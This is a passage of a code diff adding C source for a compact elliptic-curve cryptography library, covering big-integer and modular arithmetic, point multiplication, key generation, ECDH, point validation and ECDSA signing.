uECC_word_t *right, + wordcount_t num_words) { + uECC_word_t r0 = 0; + uECC_word_t r1 = 0; + uECC_word_t r2 = 0; + wordcount_t i, k; + + /* Compute each digit of result in sequence, maintaining the carries. */ + for (k = 0; k < num_words; ++k) { + for (i = 0; i <= k; ++i) { + muladd(left[i], right[k - i], &r0, &r1, &r2); + } + result[k] = r0; + r0 = r1; + r1 = r2; + r2 = 0; + } + for (k = num_words; k < num_words * 2 - 1; ++k) { + for (i = (k + 1) - num_words; i < num_words; ++i) { + muladd(left[i], right[k - i], &r0, &r1, &r2); + } + result[k] = r0; + r0 = r1; + r1 = r2; + r2 = 0; + } + result[num_words * 2 - 1] = r0; +} +#endif /* !asm_mult */ + +#if uECC_SQUARE_FUNC + +#if !asm_square +static void mul2add(uECC_word_t a, + uECC_word_t b, + uECC_word_t *r0, + uECC_word_t *r1, + uECC_word_t *r2) { +#if uECC_WORD_SIZE == 8 && !SUPPORTS_INT128 + uint64_t a0 = a & 0xffffffffull; + uint64_t a1 = a >> 32; + uint64_t b0 = b & 0xffffffffull; + uint64_t b1 = b >> 32; + + uint64_t i0 = a0 * b0; + uint64_t i1 = a0 * b1; + uint64_t i2 = a1 * b0; + uint64_t i3 = a1 * b1; + + uint64_t p0, p1; + + i2 += (i0 >> 32); + i2 += i1; + if (i2 < i1) + { /* overflow */ + i3 += 0x100000000ull; + } + + p0 = (i0 & 0xffffffffull) | (i2 << 32); + p1 = i3 + (i2 >> 32); + + *r2 += (p1 >> 63); + p1 = (p1 << 1) | (p0 >> 63); + p0 <<= 1; + + *r0 += p0; + *r1 += (p1 + (*r0 < p0)); + *r2 += ((*r1 < p1) || (*r1 == p1 && *r0 < p0)); +#else + uECC_dword_t p = (uECC_dword_t)a * b; + uECC_dword_t r01 = ((uECC_dword_t)(*r1) << uECC_WORD_BITS) | *r0; + *r2 += (p >> (uECC_WORD_BITS * 2 - 1)); + p *= 2; + r01 += p; + *r2 += (r01 < p); + *r1 = r01 >> uECC_WORD_BITS; + *r0 = (uECC_word_t)r01; +#endif +} + +uECC_VLI_API void uECC_vli_square(uECC_word_t *result, + const uECC_word_t *left, + wordcount_t num_words) { + uECC_word_t r0 = 0; + uECC_word_t r1 = 0; + uECC_word_t r2 = 0; + + wordcount_t i, k; + + for (k = 0; k < num_words * 2 - 1; ++k) { + uECC_word_t min = (k < num_words ? 0 : (k + 1) - num_words); + for (i = min; i <= k && i <= k - i; ++i) { + if (i < k-i) { + mul2add(left[i], left[k - i], &r0, &r1, &r2); + } else { + muladd(left[i], left[k - i], &r0, &r1, &r2); + } + } + result[k] = r0; + r0 = r1; + r1 = r2; + r2 = 0; + } + + result[num_words * 2 - 1] = r0; +} +#endif /* !asm_square */ + +#else /* uECC_SQUARE_FUNC */ + +#if uECC_ENABLE_VLI_API +uECC_VLI_API void uECC_vli_square(uECC_word_t *result, + const uECC_word_t *left, + wordcount_t num_words) { + uECC_vli_mult(result, left, left, num_words); +} +#endif /* uECC_ENABLE_VLI_API */ + +#endif /* uECC_SQUARE_FUNC */ + +/* Computes result = (left + right) % mod. + Assumes that left < mod and right < mod, and that result does not overlap mod. */ +uECC_VLI_API void uECC_vli_modAdd(uECC_word_t *result, + const uECC_word_t *left, + const uECC_word_t *right, + const uECC_word_t *mod, + wordcount_t num_words) { + uECC_word_t carry = uECC_vli_add(result, left, right, num_words); + if (carry || uECC_vli_cmp_unsafe(mod, result, num_words) != 1) { + /* result > mod (result = mod + remainder), so subtract mod to get remainder. */ + uECC_vli_sub(result, result, mod, num_words); + } +} + +/* Computes result = (left - right) % mod. + Assumes that left < mod and right < mod, and that result does not overlap mod. */ +uECC_VLI_API void uECC_vli_modSub(uECC_word_t *result, + const uECC_word_t *left, + const uECC_word_t *right, + const uECC_word_t *mod, + wordcount_t num_words) { + uECC_word_t l_borrow = uECC_vli_sub(result, left, right, num_words); + if (l_borrow) { + /* In this case, result == -diff == (max int) - diff. Since -x % d == d - x, + we can get the correct result from result + mod (with overflow). */ + uECC_vli_add(result, result, mod, num_words); + } +} + +/* Computes result = product % mod, where product is 2N words long. */ +/* Currently only designed to work for curve_p or curve_n. */ +uECC_VLI_API void uECC_vli_mmod(uECC_word_t *result, + uECC_word_t *product, + const uECC_word_t *mod, + wordcount_t num_words) { + uECC_word_t mod_multiple[2 * uECC_MAX_WORDS]; + uECC_word_t tmp[2 * uECC_MAX_WORDS]; + uECC_word_t *v[2] = {tmp, product}; + uECC_word_t index; + + /* Shift mod so its highest set bit is at the maximum position. */ + bitcount_t shift = (num_words * 2 * uECC_WORD_BITS) - uECC_vli_numBits(mod, num_words); + wordcount_t word_shift = shift / uECC_WORD_BITS; + wordcount_t bit_shift = shift % uECC_WORD_BITS; + uECC_word_t carry = 0; + uECC_vli_clear(mod_multiple, word_shift); + if (bit_shift > 0) { + for(index = 0; index < (uECC_word_t)num_words; ++index) { + mod_multiple[word_shift + index] = (mod[index] << bit_shift) | carry; + carry = mod[index] >> (uECC_WORD_BITS - bit_shift); + } + } else { + uECC_vli_set(mod_multiple + word_shift, mod, num_words); + } + + for (index = 1; shift >= 0; --shift) { + uECC_word_t borrow = 0; + wordcount_t i; + for (i = 0; i < num_words * 2; ++i) { + uECC_word_t diff = v[index][i] - mod_multiple[i] - borrow; + if (diff != v[index][i]) { + borrow = (diff > v[index][i]); + } + v[1 - index][i] = diff; + } + index = !(index ^ borrow); /* Swap the index if there was no borrow */ + uECC_vli_rshift1(mod_multiple, num_words); + mod_multiple[num_words - 1] |= mod_multiple[num_words] << (uECC_WORD_BITS - 1); + uECC_vli_rshift1(mod_multiple + num_words, num_words); + } + uECC_vli_set(result, v[index], num_words); +} + +/* Computes result = (left * right) % mod. */ +uECC_VLI_API void uECC_vli_modMult(uECC_word_t *result, + const uECC_word_t *left, + const uECC_word_t *right, + const uECC_word_t *mod, + wordcount_t num_words) { + uECC_word_t product[2 * uECC_MAX_WORDS]; + uECC_vli_mult(product, left, right, num_words); + uECC_vli_mmod(result, product, mod, num_words); +} + +uECC_VLI_API void uECC_vli_modMult_fast(uECC_word_t *result, + const uECC_word_t *left, + const uECC_word_t *right, + uECC_Curve curve) { + uECC_word_t product[2 * uECC_MAX_WORDS]; + uECC_vli_mult(product, left, right, curve->num_words); +#if (uECC_OPTIMIZATION_LEVEL > 0) + curve->mmod_fast(result, product); +#else + uECC_vli_mmod(result, product, curve->p, curve->num_words); +#endif +} + +#if uECC_SQUARE_FUNC + +#if uECC_ENABLE_VLI_API +/* Computes result = left^2 % mod. */ +uECC_VLI_API void uECC_vli_modSquare(uECC_word_t *result, + const uECC_word_t *left, + const uECC_word_t *mod, + wordcount_t num_words) { + uECC_word_t product[2 * uECC_MAX_WORDS]; + uECC_vli_square(product, left, num_words); + uECC_vli_mmod(result, product, mod, num_words); +} +#endif /* uECC_ENABLE_VLI_API */ + +uECC_VLI_API void uECC_vli_modSquare_fast(uECC_word_t *result, + const uECC_word_t *left, + uECC_Curve curve) { + uECC_word_t product[2 * uECC_MAX_WORDS]; + uECC_vli_square(product, left, curve->num_words); +#if (uECC_OPTIMIZATION_LEVEL > 0) + curve->mmod_fast(result, product); +#else + uECC_vli_mmod(result, product, curve->p, curve->num_words); +#endif +} + +#else /* uECC_SQUARE_FUNC */ + +#if uECC_ENABLE_VLI_API +uECC_VLI_API void uECC_vli_modSquare(uECC_word_t *result, + const uECC_word_t *left, + const uECC_word_t *mod, + wordcount_t num_words) { + uECC_vli_modMult(result, left, left, mod, num_words); +} +#endif /* uECC_ENABLE_VLI_API */ + +uECC_VLI_API void uECC_vli_modSquare_fast(uECC_word_t *result, + const uECC_word_t *left, + uECC_Curve curve) { + uECC_vli_modMult_fast(result, left, left, curve); +} + +#endif /* uECC_SQUARE_FUNC */ + +#define EVEN(vli) (!(vli[0] & 1)) +static void vli_modInv_update(uECC_word_t *uv, + const uECC_word_t *mod, + wordcount_t num_words) { + uECC_word_t carry = 0; + if (!EVEN(uv)) { + carry = uECC_vli_add(uv, uv, mod, num_words); + } + uECC_vli_rshift1(uv, num_words); + if (carry) { + uv[num_words - 1] |= HIGH_BIT_SET; + } +} + +/* Computes result = (1 / input) % mod. All VLIs are the same size. + See "From Euclid's GCD to Montgomery Multiplication to the Great Divide" */ +uECC_VLI_API void uECC_vli_modInv(uECC_word_t *result, + const uECC_word_t *input, + const uECC_word_t *mod, + wordcount_t num_words) { + uECC_word_t a[uECC_MAX_WORDS], b[uECC_MAX_WORDS], u[uECC_MAX_WORDS], v[uECC_MAX_WORDS]; + cmpresult_t cmpResult; + + if (uECC_vli_isZero(input, num_words)) { + uECC_vli_clear(result, num_words); + return; + } + + uECC_vli_set(a, input, num_words); + uECC_vli_set(b, mod, num_words); + uECC_vli_clear(u, num_words); + u[0] = 1; + uECC_vli_clear(v, num_words); + while ((cmpResult = uECC_vli_cmp_unsafe(a, b, num_words)) != 0) { + if (EVEN(a)) { + uECC_vli_rshift1(a, num_words); + vli_modInv_update(u, mod, num_words); + } else if (EVEN(b)) { + uECC_vli_rshift1(b, num_words); + vli_modInv_update(v, mod, num_words); + } else if (cmpResult > 0) { + uECC_vli_sub(a, a, b, num_words); + uECC_vli_rshift1(a, num_words); + if (uECC_vli_cmp_unsafe(u, v, num_words) < 0) { + uECC_vli_add(u, u, mod, num_words); + } + uECC_vli_sub(u, u, v, num_words); + vli_modInv_update(u, mod, num_words); + } else { + uECC_vli_sub(b, b, a, num_words); + uECC_vli_rshift1(b, num_words); + if (uECC_vli_cmp_unsafe(v, u, num_words) < 0) { + uECC_vli_add(v, v, mod, num_words); + } + uECC_vli_sub(v, v, u, num_words); + vli_modInv_update(v, mod, num_words); + } + } + uECC_vli_set(result, u, num_words); +} + +/* ------ Point operations ------ */ + +#include "curve-specific.inc" + +/* Returns 1 if 'point' is the point at infinity, 0 otherwise. */ +#define EccPoint_isZero(point, curve) uECC_vli_isZero((point), (curve)->num_words * 2) + +/* Point multiplication algorithm using Montgomery's ladder with co-Z coordinates. +From http://eprint.iacr.org/2011/338.pdf +*/ + +/* Modify (x1, y1) => (x1 * z^2, y1 * z^3) */ +static void apply_z(uECC_word_t * X1, + uECC_word_t * Y1, + const uECC_word_t * const Z, + uECC_Curve curve) { + uECC_word_t t1[uECC_MAX_WORDS]; + + uECC_vli_modSquare_fast(t1, Z, curve); /* z^2 */ + uECC_vli_modMult_fast(X1, X1, t1, curve); /* x1 * z^2 */ + uECC_vli_modMult_fast(t1, t1, Z, curve); /* z^3 */ + uECC_vli_modMult_fast(Y1, Y1, t1, curve); /* y1 * z^3 */ +} + +/* P = (x1, y1) => 2P, (x2, y2) => P' */ +static void XYcZ_initial_double(uECC_word_t * X1, + uECC_word_t * Y1, + uECC_word_t * X2, + uECC_word_t * Y2, + const uECC_word_t * const initial_Z, + uECC_Curve curve) { + uECC_word_t z[uECC_MAX_WORDS]; + wordcount_t num_words = curve->num_words; + if (initial_Z) { + uECC_vli_set(z, initial_Z, num_words); + } else { + uECC_vli_clear(z, num_words); + z[0] = 1; + } + + uECC_vli_set(X2, X1, num_words); + uECC_vli_set(Y2, Y1, num_words); + + apply_z(X1, Y1, z, curve); + curve->double_jacobian(X1, Y1, z, curve); + apply_z(X2, Y2, z, curve); +} + +/* Input P = (x1, y1, Z), Q = (x2, y2, Z) + Output P' = (x1', y1', Z3), P + Q = (x3, y3, Z3) + or P => P', Q => P + Q +*/ +static void XYcZ_add(uECC_word_t * X1, + uECC_word_t * Y1, + uECC_word_t * X2, + uECC_word_t * Y2, + uECC_Curve curve) { + /* t1 = X1, t2 = Y1, t3 = X2, t4 = Y2 */ + uECC_word_t t5[uECC_MAX_WORDS]; + wordcount_t num_words = curve->num_words; + + uECC_vli_modSub(t5, X2, X1, curve->p, num_words); /* t5 = x2 - x1 */ + uECC_vli_modSquare_fast(t5, t5, curve); /* t5 = (x2 - x1)^2 = A */ + uECC_vli_modMult_fast(X1, X1, t5, curve); /* t1 = x1*A = B */ + uECC_vli_modMult_fast(X2, X2, t5, curve); /* t3 = x2*A = C */ + uECC_vli_modSub(Y2, Y2, Y1, curve->p, num_words); /* t4 = y2 - y1 */ + uECC_vli_modSquare_fast(t5, Y2, curve); /* t5 = (y2 - y1)^2 = D */ + + uECC_vli_modSub(t5, t5, X1, curve->p, num_words); /* t5 = D - B */ + uECC_vli_modSub(t5, t5, X2, curve->p, num_words); /* t5 = D - B - C = x3 */ + uECC_vli_modSub(X2, X2, X1, curve->p, num_words); /* t3 = C - B */ + uECC_vli_modMult_fast(Y1, Y1, X2, curve); /* t2 = y1*(C - B) */ + uECC_vli_modSub(X2, X1, t5, curve->p, num_words); /* t3 = B - x3 */ + uECC_vli_modMult_fast(Y2, Y2, X2, curve); /* t4 = (y2 - y1)*(B - x3) */ + uECC_vli_modSub(Y2, Y2, Y1, curve->p, num_words); /* t4 = y3 */ + + uECC_vli_set(X2, t5, num_words); +} + +/* Input P = (x1, y1, Z), Q = (x2, y2, Z) + Output P + Q = (x3, y3, Z3), P - Q = (x3', y3', Z3) + or P => P - Q, Q => P + Q +*/ +static void XYcZ_addC(uECC_word_t * X1, + uECC_word_t * Y1, + uECC_word_t * X2, + uECC_word_t * Y2, + uECC_Curve curve) { + /* t1 = X1, t2 = Y1, t3 = X2, t4 = Y2 */ + uECC_word_t t5[uECC_MAX_WORDS]; + uECC_word_t t6[uECC_MAX_WORDS]; + uECC_word_t t7[uECC_MAX_WORDS]; + wordcount_t num_words = curve->num_words; + + uECC_vli_modSub(t5, X2, X1, curve->p, num_words); /* t5 = x2 - x1 */ + uECC_vli_modSquare_fast(t5, t5, curve); /* t5 = (x2 - x1)^2 = A */ + uECC_vli_modMult_fast(X1, X1, t5, curve); /* t1 = x1*A = B */ + uECC_vli_modMult_fast(X2, X2, t5, curve); /* t3 = x2*A = C */ + uECC_vli_modAdd(t5, Y2, Y1, curve->p, num_words); /* t5 = y2 + y1 */ + uECC_vli_modSub(Y2, Y2, Y1, curve->p, num_words); /* t4 = y2 - y1 */ + + uECC_vli_modSub(t6, X2, X1, curve->p, num_words); /* t6 = C - B */ + uECC_vli_modMult_fast(Y1, Y1, t6, curve); /* t2 = y1 * (C - B) = E */ + uECC_vli_modAdd(t6, X1, X2, curve->p, num_words); /* t6 = B + C */ + uECC_vli_modSquare_fast(X2, Y2, curve); /* t3 = (y2 - y1)^2 = D */ + uECC_vli_modSub(X2, X2, t6, curve->p, num_words); /* t3 = D - (B + C) = x3 */ + + uECC_vli_modSub(t7, X1, X2, curve->p, num_words); /* t7 = B - x3 */ + uECC_vli_modMult_fast(Y2, Y2, t7, curve); /* t4 = (y2 - y1)*(B - x3) */ + uECC_vli_modSub(Y2, Y2, Y1, curve->p, num_words); /* t4 = (y2 - y1)*(B - x3) - E = y3 */ + + uECC_vli_modSquare_fast(t7, t5, curve); /* t7 = (y2 + y1)^2 = F */ + uECC_vli_modSub(t7, t7, t6, curve->p, num_words); /* t7 = F - (B + C) = x3' */ + uECC_vli_modSub(t6, t7, X1, curve->p, num_words); /* t6 = x3' - B */ + uECC_vli_modMult_fast(t6, t6, t5, curve); /* t6 = (y2+y1)*(x3' - B) */ + uECC_vli_modSub(Y1, t6, Y1, curve->p, num_words); /* t2 = (y2+y1)*(x3' - B) - E = y3' */ + + uECC_vli_set(X1, t7, num_words); +} + +/* result may overlap point. */ +static void EccPoint_mult(uECC_word_t * result, + const uECC_word_t * point, + const uECC_word_t * scalar, + const uECC_word_t * initial_Z, + bitcount_t num_bits, + uECC_Curve curve) { + /* R0 and R1 */ + uECC_word_t Rx[2][uECC_MAX_WORDS]; + uECC_word_t Ry[2][uECC_MAX_WORDS]; + uECC_word_t z[uECC_MAX_WORDS]; + bitcount_t i; + uECC_word_t nb; + wordcount_t num_words = curve->num_words; + + uECC_vli_set(Rx[1], point, num_words); + uECC_vli_set(Ry[1], point + num_words, num_words); + + XYcZ_initial_double(Rx[1], Ry[1], Rx[0], Ry[0], initial_Z, curve); + + for (i = num_bits - 2; i > 0; --i) { + nb = !uECC_vli_testBit(scalar, i); + XYcZ_addC(Rx[1 - nb], Ry[1 - nb], Rx[nb], Ry[nb], curve); + XYcZ_add(Rx[nb], Ry[nb], Rx[1 - nb], Ry[1 - nb], curve); + } + + nb = !uECC_vli_testBit(scalar, 0); + XYcZ_addC(Rx[1 - nb], Ry[1 - nb], Rx[nb], Ry[nb], curve); + + /* Find final 1/Z value. */ + uECC_vli_modSub(z, Rx[1], Rx[0], curve->p, num_words); /* X1 - X0 */ + uECC_vli_modMult_fast(z, z, Ry[1 - nb], curve); /* Yb * (X1 - X0) */ + uECC_vli_modMult_fast(z, z, point, curve); /* xP * Yb * (X1 - X0) */ + uECC_vli_modInv(z, z, curve->p, num_words); /* 1 / (xP * Yb * (X1 - X0)) */ + /* yP / (xP * Yb * (X1 - X0)) */ + uECC_vli_modMult_fast(z, z, point + num_words, curve); + uECC_vli_modMult_fast(z, z, Rx[1 - nb], curve); /* Xb * yP / (xP * Yb * (X1 - X0)) */ + /* End 1/Z calculation */ + + XYcZ_add(Rx[nb], Ry[nb], Rx[1 - nb], Ry[1 - nb], curve); + apply_z(Rx[0], Ry[0], z, curve); + + uECC_vli_set(result, Rx[0], num_words); + uECC_vli_set(result + num_words, Ry[0], num_words); +} + +static uECC_word_t regularize_k(const uECC_word_t * const k, + uECC_word_t *k0, + uECC_word_t *k1, + uECC_Curve curve) { + wordcount_t num_n_words = BITS_TO_WORDS(curve->num_n_bits); + bitcount_t num_n_bits = curve->num_n_bits; + uECC_word_t carry = uECC_vli_add(k0, k, curve->n, num_n_words) || + (num_n_bits < ((bitcount_t)num_n_words * uECC_WORD_SIZE * 8) && + uECC_vli_testBit(k0, num_n_bits)); + uECC_vli_add(k1, k0, curve->n, num_n_words); + return carry; +} + +static uECC_word_t EccPoint_compute_public_key(uECC_word_t *result, + uECC_word_t *private, + uECC_Curve curve) { + uECC_word_t tmp1[uECC_MAX_WORDS]; + uECC_word_t tmp2[uECC_MAX_WORDS]; + uECC_word_t *p2[2] = {tmp1, tmp2}; + uECC_word_t carry; + + /* Regularize the bitcount for the private key so that attackers cannot use a side channel + attack to learn the number of leading zeros. */ + carry = regularize_k(private, tmp1, tmp2, curve); + + EccPoint_mult(result, curve->G, p2[!carry], 0, curve->num_n_bits + 1, curve); + + if (EccPoint_isZero(result, curve)) { + return 0; + } + return 1; +} + +#if uECC_WORD_SIZE == 1 + +uECC_VLI_API void uECC_vli_nativeToBytes(uint8_t *bytes, + int num_bytes, + const uint8_t *native) { + wordcount_t i; + for (i = 0; i < num_bytes; ++i) { + bytes[i] = native[(num_bytes - 1) - i]; + } +} + +uECC_VLI_API void uECC_vli_bytesToNative(uint8_t *native, + const uint8_t *bytes, + int num_bytes) { + uECC_vli_nativeToBytes(native, num_bytes, bytes); +} + +#else + +uECC_VLI_API void uECC_vli_nativeToBytes(uint8_t *bytes, + int num_bytes, + const uECC_word_t *native) { + wordcount_t i; + for (i = 0; i < num_bytes; ++i) { + unsigned b = num_bytes - 1 - i; + bytes[i] = native[b / uECC_WORD_SIZE] >> (8 * (b % uECC_WORD_SIZE)); + } +} + +uECC_VLI_API void uECC_vli_bytesToNative(uECC_word_t *native, + const uint8_t *bytes, + int num_bytes) { + wordcount_t i; + uECC_vli_clear(native, (num_bytes + (uECC_WORD_SIZE - 1)) / uECC_WORD_SIZE); + for (i = 0; i < num_bytes; ++i) { + unsigned b = num_bytes - 1 - i; + native[b / uECC_WORD_SIZE] |= + (uECC_word_t)bytes[i] << (8 * (b % uECC_WORD_SIZE)); + } +} + +#endif /* uECC_WORD_SIZE */ + +/* Generates a random integer in the range 0 < random < top. + Both random and top have num_words words. */ +uECC_VLI_API int uECC_generate_random_int(uECC_word_t *random, + const uECC_word_t *top, + wordcount_t num_words) { + uECC_word_t mask = (uECC_word_t)-1; + uECC_word_t tries; + bitcount_t num_bits = uECC_vli_numBits(top, num_words); + + if (!g_rng_function) { + return 0; + } + + for (tries = 0; tries < uECC_RNG_MAX_TRIES; ++tries) { + if (!g_rng_function((uint8_t *)random, num_words * uECC_WORD_SIZE)) { + return 0; + } + random[num_words - 1] &= mask >> ((bitcount_t)(num_words * uECC_WORD_SIZE * 8 - num_bits)); + if (!uECC_vli_isZero(random, num_words) && + uECC_vli_cmp(top, random, num_words) == 1) { + return 1; + } + } + return 0; +} + +int uECC_make_key(uint8_t *public_key, + uint8_t *private_key, + uECC_Curve curve) { + uECC_word_t private[uECC_MAX_WORDS]; + uECC_word_t public[uECC_MAX_WORDS * 2]; + uECC_word_t tries; + + for (tries = 0; tries < uECC_RNG_MAX_TRIES; ++tries) { + if (!uECC_generate_random_int(private, curve->n, BITS_TO_WORDS(curve->num_n_bits))) { + return 0; + } + + if (EccPoint_compute_public_key(public, private, curve)) { + uECC_vli_nativeToBytes(private_key, BITS_TO_BYTES(curve->num_n_bits), private); + uECC_vli_nativeToBytes(public_key, curve->num_bytes, public); + uECC_vli_nativeToBytes( + public_key + curve->num_bytes, curve->num_bytes, public + curve->num_words); + return 1; + } + } + return 0; +} + +int uECC_shared_secret(const uint8_t *public_key, + const uint8_t *private_key, + uint8_t *secret, + uECC_Curve curve) { + uECC_word_t public[uECC_MAX_WORDS * 2]; + uECC_word_t private[uECC_MAX_WORDS]; + uECC_word_t tmp[uECC_MAX_WORDS]; + uECC_word_t *p2[2] = {private, tmp}; + uECC_word_t *initial_Z = 0; + uECC_word_t carry; + wordcount_t num_words = curve->num_words; + wordcount_t num_bytes = curve->num_bytes; + + uECC_vli_bytesToNative(private, private_key, BITS_TO_BYTES(curve->num_n_bits)); + uECC_vli_bytesToNative(public, public_key, num_bytes); + uECC_vli_bytesToNative(public + num_words, public_key + num_bytes, num_bytes); + + /* Regularize the bitcount for the private key so that attackers cannot use a side channel + attack to learn the number of leading zeros. */ + carry = regularize_k(private, private, tmp, curve); + + /* If an RNG function was specified, try to get a random initial Z value to improve + protection against side-channel attacks. */ + if (g_rng_function) { + if (!uECC_generate_random_int(p2[carry], curve->p, num_words)) { + return 0; + } + initial_Z = p2[carry]; + } + + EccPoint_mult(public, public, p2[!carry], initial_Z, curve->num_n_bits + 1, curve); + uECC_vli_nativeToBytes(secret, num_bytes, public); + return !EccPoint_isZero(public, curve); +} + +#if uECC_SUPPORT_COMPRESSED_POINT +void uECC_compress(const uint8_t *public_key, uint8_t *compressed, uECC_Curve curve) { + wordcount_t i; + for (i = 0; i < curve->num_bytes; ++i) { + compressed[i+1] = public_key[i]; + } + compressed[0] = 2 + (public_key[curve->num_bytes * 2 - 1] & 0x01); +} + +void uECC_decompress(const uint8_t *compressed, uint8_t *public_key, uECC_Curve curve) { + uECC_word_t point[uECC_MAX_WORDS * 2]; + uECC_word_t *y = point + curve->num_words; + uECC_vli_bytesToNative(point, compressed + 1, curve->num_bytes); + curve->x_side(y, point, curve); + curve->mod_sqrt(y, curve); + + if ((y[0] & 0x01) != (compressed[0] & 0x01)) { + uECC_vli_sub(y, curve->p, y, curve->num_words); + } + + uECC_vli_nativeToBytes(public_key, curve->num_bytes, point); + uECC_vli_nativeToBytes(public_key + curve->num_bytes, curve->num_bytes, y); +} +#endif /* uECC_SUPPORT_COMPRESSED_POINT */ + +int uECC_valid_point(const uECC_word_t *point, uECC_Curve curve) { + uECC_word_t tmp1[uECC_MAX_WORDS]; + uECC_word_t tmp2[uECC_MAX_WORDS]; + wordcount_t num_words = curve->num_words; + + /* The point at infinity is invalid. */ + if (EccPoint_isZero(point, curve)) { + return 0; + } + + /* x and y must be smaller than p. */ + if (uECC_vli_cmp_unsafe(curve->p, point, num_words) != 1 || + uECC_vli_cmp_unsafe(curve->p, point + num_words, num_words) != 1) { + return 0; + } + + uECC_vli_modSquare_fast(tmp1, point + num_words, curve); + curve->x_side(tmp2, point, curve); /* tmp2 = x^3 + ax + b */ + + /* Make sure that y^2 == x^3 + ax + b */ + return (int)(uECC_vli_equal(tmp1, tmp2, num_words)); +} + +int uECC_valid_public_key(const uint8_t *public_key, uECC_Curve curve) { + uECC_word_t public[uECC_MAX_WORDS * 2]; + + uECC_vli_bytesToNative(public, public_key, curve->num_bytes); + uECC_vli_bytesToNative( + public + curve->num_words, public_key + curve->num_bytes, curve->num_bytes); + return uECC_valid_point(public, curve); +} + +int uECC_compute_public_key(const uint8_t *private_key, uint8_t *public_key, uECC_Curve curve) { + uECC_word_t private[uECC_MAX_WORDS]; + uECC_word_t public[uECC_MAX_WORDS * 2]; + + uECC_vli_bytesToNative(private, private_key, BITS_TO_BYTES(curve->num_n_bits)); + + /* Make sure the private key is in the range [1, n-1]. */ + if (uECC_vli_isZero(private, BITS_TO_WORDS(curve->num_n_bits))) { + return 0; + } + + if (uECC_vli_cmp(curve->n, private, BITS_TO_WORDS(curve->num_n_bits)) != 1) { + return 0; + } + + /* Compute public key. */ + if (!EccPoint_compute_public_key(public, private, curve)) { + return 0; + } + + uECC_vli_nativeToBytes(public_key, curve->num_bytes, public); + uECC_vli_nativeToBytes( + public_key + curve->num_bytes, curve->num_bytes, public + curve->num_words); + return 1; +} + + +/* -------- ECDSA code -------- */ + +static void bits2int(uECC_word_t *native, + const uint8_t *bits, + unsigned bits_size, + uECC_Curve curve) { + unsigned num_n_bytes = BITS_TO_BYTES(curve->num_n_bits); + unsigned num_n_words = BITS_TO_WORDS(curve->num_n_bits); + int shift; + uECC_word_t carry; + uECC_word_t *ptr; + + if (bits_size > num_n_bytes) { + bits_size = num_n_bytes; + } + uECC_vli_clear(native, num_n_words); + uECC_vli_bytesToNative(native, bits, bits_size); + if (bits_size * 8 <= (unsigned)curve->num_n_bits) { + return; + } + shift = bits_size * 8 - curve->num_n_bits; + carry = 0; + ptr = native + num_n_words; + while (ptr-- > native) { + uECC_word_t temp = *ptr; + *ptr = (temp >> shift) | carry; + carry = temp << (uECC_WORD_BITS - shift); + } + + /* Reduce mod curve_n */ + if (uECC_vli_cmp_unsafe(curve->n, native, num_n_words) != 1) { + uECC_vli_sub(native, native, curve->n, num_n_words); + } +} + +static int uECC_sign_with_k(const uint8_t *private_key, + const uint8_t *message_hash, + unsigned hash_size, + uECC_word_t *k, + uint8_t *signature, + uECC_Curve curve) { + uECC_word_t tmp[uECC_MAX_WORDS]; + uECC_word_t s[uECC_MAX_WORDS]; + uECC_word_t *k2[2] = {tmp, s}; + uECC_word_t p[uECC_MAX_WORDS * 2]; + uECC_word_t carry; + wordcount_t num_words = curve->num_words; + wordcount_t num_n_words = BITS_TO_WORDS(curve->num_n_bits); + bitcount_t num_n_bits = curve->num_n_bits; + + /* Make sure 0 < k < curve_n */ + if (uECC_vli_isZero(k, num_words) || uECC_vli_cmp(curve->n, k, num_n_words) != 1) { + return 0; + } + + carry = regularize_k(k, tmp, s, curve); + EccPoint_mult(p, curve->G, k2[!carry], 0, num_n_bits + 1, curve); + if (uECC_vli_isZero(p, num_words)) { + return 0; + } + + /* If an RNG function was specified, get a random number + to prevent side channel analysis of k. */ + if (!g_rng_function) { + uECC_vli_clear(tmp, num_n_words); + tmp[0] = 1; + } else if (!uECC_generate_random_int(tmp, curve->n, num_n_words)) { + return 0; + } + + /* Prevent side channel analysis of uECC_vli_modInv() to determine + bits of k / the private key by premultiplying by a random number */ + uECC_vli_modMult(k, k, tmp, curve->n, num_n_words); /* k' = rand * k */ + uECC_vli_modInv(k, k, curve->n, num_n_words); /* k = 1 / k' */ + uECC_vli_modMult(k, k, tmp, curve->n, num_n_words); /* k = 1 / k */ + + uECC_vli_nativeToBytes(signature, curve->num_bytes, p); /* store r */ + + uECC_vli_bytesToNative(tmp, private_key, BITS_TO_BYTES(curve->num_n_bits)); /* tmp = d */ + s[num_n_words - 1] = 0; + uECC_vli_set(s, p, num_words); + uECC_vli_modMult(s, tmp, s, curve->n, num_n_words); /* s = r*d */ + + bits2int(tmp, message_hash, hash_size, curve); + uECC_vli_modAdd(s, tmp, s, curve->n, num_n_words); /* s = e + r*d */ + uECC_vli_modMult(s, s, k, curve->n, num_n_words); /* s = (e + r*d) / k */ + if (uECC_vli_numBits(s, num_n_words) > (bitcount_t)curve->num_bytes * 8) { + return 0; + } + uECC_vli_nativeToBytes(signature + curve->num_bytes, curve->num_bytes, s); + return 1; +} + +int uECC_sign(const uint8_t *private_key, + const uint8_t *message_hash, + unsigned hash_size, + uint8_t *signature, + uECC_Curve curve) { + uECC_word_t k[uECC_MAX_WORDS]; + uECC_word_t tries; + + for (tries = 0; tries < uECC_RNG_MAX_TRIES; ++tries) { + if (!uECC_generate_random_int(k, curve->n, BITS_TO_WORDS(curve->num_n_bits))) { + return 0; + } + + if (uECC_sign_with_k(private_key, message_hash, hash_size, k, signature, curve)) { + return 1; + } + } + return 0; +} + +/* Compute an HMAC using K as a key (as in RFC 6979). Note that K is always + the same size as the hash result size. */ +static void HMAC_init(uECC_HashContext *hash_context, const uint8_t *K) { + uint8_t *pad = hash_context->tmp + 2 * hash_context->result_size; + unsigned i; + for (i = 0; i < hash_context->result_size; ++i) + pad[i] = K[i] ^ 0x36; + for (; i < hash_context->block_size; ++i) + pad[i] = 0x36; + + hash_context->init_hash(hash_context); + hash_context->update_hash(hash_context, pad, hash_context->block_size); +} + +static void HMAC_update(uECC_HashContext *hash_context, + const uint8_t *message, + unsigned message_size) { + hash_context->update_hash(hash_context, message, message_size); +} + +static void HMAC_finish(uECC_HashContext *hash_context, const uint8_t *K, uint8_t *result) { + uint8_t *pad = hash_context->tmp + 2 * hash_context->result_size; + unsigned i; + for (i = 0; i < hash_context->result_size; ++i) + pad[i] = K[i] ^ 0x5c; + for (; i < hash_context->block_size; ++i) + pad[i] = 0x5c; + + hash_context->finish_hash(hash_context, result); + + hash_context->init_hash(hash_context); + hash_context->update_hash(hash_context, pad, hash_context->block_size); + 